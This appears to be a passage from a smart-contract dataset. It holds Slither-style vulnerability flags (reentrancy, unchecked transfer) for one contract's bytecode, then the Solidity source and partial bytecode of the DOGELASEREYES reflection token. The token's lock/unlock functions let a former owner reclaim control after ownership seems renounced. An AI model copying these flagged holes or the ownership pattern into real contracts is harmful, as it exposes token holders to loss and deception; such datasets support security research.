529081205411156112905760095461128c908763ffffffff6116d216565b6009555b600160a060020a03851660009081526002602052604090205415156112b8576112b885611779565b604051600160a060020a0386169085156108fc029086906000818181858888f193505050501580156112ee573d6000803e3d6000fd5b506112f98383610919565b60008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015611332573d6000803e3d6000fd5b50505050505050565b60026020526000908152604090205481565b600d6020526000908152604090205481565b60116020526000908152604090205481565b60105481565b600560205260009081526040902054600160a060020a031681565b60085490565b600054600160a060020a031633146113af57600080fd5b600160a060020a03811615156113c457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065481565b33600080808061144185610708565b6000881180156114695750600160a060020a0385166000908152600360205260409020548811155b151561147457600080fd5b61148a60646101b78a605963ffffffff6108bd16565b93506114a260646101b78a600663ffffffff6108bd16565b92506114ba60646101b78a600463ffffffff6108bd16565b91506114d260646101b78a600163ffffffff6108bd16565b600160a060020a0386166000908152600360205260409020549091506114fe908963ffffffff6116d216565b600160a060020a038616600090815260036020908152604080832093909355600490529081205411156115425760085461153e908963ffffffff6116d216565b6008555b600160a060020a038516600090815260036020526040902054151561156a5761156a85611779565b6001546040805160e060020a63a9059cbb028152600160a060020a038881166004830152602482018890529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156115c357600080fd5b505af11580156115d7573d6000803e3d6000fd5b505050506040513d60208110156115ed57600080fd5b506115fa905083836116e9565b6001546040805160e060020a63a9059cbb028152600160a060020a038a81166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b505050506040513d602081101561167d57600080fd5b505060408051600160a060020a03891681526020810183905280820188905290517fc804beabd6deef69632486188d3b1a0fc6837d20bf348393884d368fa5bf10cd9181900360600190a15050505050505050565b600080838311156116e257600080fd5b5050900390565b6000806116f4611392565b91506116fe610ab9565b905080158061170b575081155b15611715576109a4565b611740611731826101b7600a54876108bd90919063ffffffff16565b6012549063ffffffff6109aa16565b601255600a54611770906117619084906101b790889063ffffffff6108bd16565b6010549063ffffffff6109aa16565b60105550505050565b600160a060020a0381166000908152600760209081526040808320805460ff1916905560049091528120541115610a9e57600160a060020a0381166000908152600360205260409020546008546117d59163ffffffff6116d216565b600855600160a060020a0381166000908152600260205260409020546009546118039163ffffffff6116d216565b60095560068054600090815260056020818152604080842054600160a060020a0396871685526004808452828620805487528585528387208054938a1673ffffffffffffffffffffffffffffffffffffffff199485161790558054885488528488205490991687529084528286209790975595849055845484529190529020805490921690915580546000190190555600a165627a7a723058208011c7a7eec6c9cfaea3bb152f7e5d15f65ca63c5e8d3156a4a671ba3e05b9e50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,335 |
0x43ac711c5fd2740c72fdfe96d4b61c94e2971eb1
|
/**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
pragma solidity ^0.6.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract DOGELASEREYES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'DOGELASEREYES';
string private _symbol = 'Dogelasereyes';
uint8 private _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _burnFee = numBurn();
uint256 private _maxTxAmount = 100000000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
//try to convert decimal to uint256
function numBurn() public pure returns (uint) {
uint tmp = 0.1 * 10**1;
return tmp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370a08231116100f9578063b6c5232411610097578063dd62ed3e11610071578063dd62ed3e14610801578063f2cc0c1814610879578063f2fde38b146108bd578063f84354f114610901576101c4565b8063b6c5232414610759578063cba0e99614610777578063dd467064146107d3576101c4565b806395d89b41116100d357806395d89b4114610600578063a457c2d714610683578063a69df4b5146106e9578063a9059cbb146106f3576101c4565b806370a0823114610554578063715018a6146105ac5780638da5cb5b146105b6576101c4565b8063313ce567116101665780633c9f861d116101405780633c9f861d1461049c5780634549b039146104ba5780635880b873146105085780636825eeec14610536576101c4565b8063313ce567146103e457806339509351146104085780633bd5d1731461046e576101c4565b806318160ddd116101a257806318160ddd146102d05780631bbae6e0146102ee57806323b872dd1461031c5780632d838119146103a2576101c4565b806306fdde03146101c9578063095ea7b31461024c57806313114a9d146102b2575b600080fd5b6101d1610945565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102986004803603604081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e7565b604051808215151515815260200191505060405180910390f35b6102ba610a05565b6040518082815260200191505060405180910390f35b6102d8610a0f565b6040518082815260200191505060405180910390f35b61031a6004803603602081101561030457600080fd5b8101908080359060200190929190505050610a19565b005b6103886004803603606081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4f565b604051808215151515815260200191505060405180910390f35b6103ce600480360360208110156103b857600080fd5b8101908080359060200190929190505050610c28565b6040518082815260200191505060405180910390f35b6103ec610cac565b604051808260ff1660ff16815260200191505060405180910390f35b6104546004803603604081101561041e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc3565b604051808215151515815260200191505060405180910390f35b61049a6004803603602081101561048457600080fd5b8101908080359060200190929190505050610d76565b005b6104a4610f07565b6040518082815260200191505060405180910390f35b6104f2600480360360408110156104d057600080fd5b8101908080359060200190929190803515159060200190929190505050610f11565b6040518082815260200191505060405180910390f35b6105346004803603602081101561051e57600080fd5b8101908080359060200190929190505050610fc8565b005b61053e61111f565b6040518082815260200191505060405180910390f35b6105966004803603602081101561056a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b6040518082815260200191505060405180910390f35b6105b4611218565b005b6105be6113a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106086113c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064857808201518184015260208101905061062d565b50505050905090810190601f1680156106755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106cf6004803603604081101561069957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061146b565b604051808215151515815260200191505060405180910390f35b6106f1611538565b005b61073f6004803603604081101561070957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611756565b604051808215151515815260200191505060405180910390f35b610761611774565b6040518082815260200191505060405180910390f35b6107b96004803603602081101561078d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177e565b604051808215151515815260200191505060405180910390f35b6107ff600480360360208110156107e957600080fd5b81019080803590602001909291905050506117d4565b005b6108636004803603604081101561081757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b6040518082815260200191505060405180910390f35b6108bb6004803603602081101561088f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4f565b005b6108ff600480360360208110156108d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e03565b005b6109436004803603602081101561091757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612010565b005b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109dd5780601f106109b2576101008083540402835291602001916109dd565b820191906000526020600020905b8154815290600101906020018083116109c057829003601f168201915b5050505050905090565b60006109fb6109f461239e565b84846123a6565b6001905092915050565b6000600a54905090565b6000600854905090565b610a2161239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b69152d02c7e14af6800000811015610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180613d4d6034913960400191505060405180910390fd5b8060118190555050565b6000610b5c84848461259d565b610c1d84610b6861239e565b610c1885604051806060016040528060288152602001613dca60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bce61239e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612acd9092919063ffffffff16565b6123a6565b600190509392505050565b6000600954821115610c85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cdb602a913960400191505060405180910390fd5b6000610c8f612b8d565b9050610ca48184612bb890919063ffffffff16565b915050919050565b6000600e60009054906101000a900460ff16905090565b6000610d6c610cd061239e565b84610d678560056000610ce161239e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b6123a6565b6001905092915050565b6000610d8061239e565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613e86602c913960400191505060405180910390fd5b6000610e3083612c8a565b50505050509050610e8981600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee181600954612cf290919063ffffffff16565b600981905550610efc83600a54612c0290919063ffffffff16565b600a81905550505050565b6000600b54905090565b6000600854831115610f8b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610fab576000610f9b84612c8a565b5050505050905080915050610fc2565b6000610fb684612c8a565b50505050915050809150505b92915050565b610fd061239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156110a35750600a8111155b611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b80600f8190555050565b600080600190508091505090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111c857600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611213565b611210600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c28565b90505b919050565b61122061239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114615780601f1061143657610100808354040283529160200191611461565b820191906000526020600020905b81548152906001019060200180831161144457829003601f168201915b5050505050905090565b600061152e61147861239e565b8461152985604051806060016040528060258152602001613ed560259139600560006114a261239e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612acd9092919063ffffffff16565b6123a6565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613eb26023913960400191505060405180910390fd5b6002544211611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061176a61176361239e565b848461259d565b6001905092915050565b6000600254905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6117dc61239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461189d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a5761239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613e646022913960400191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611d4557611d01600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c28565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffff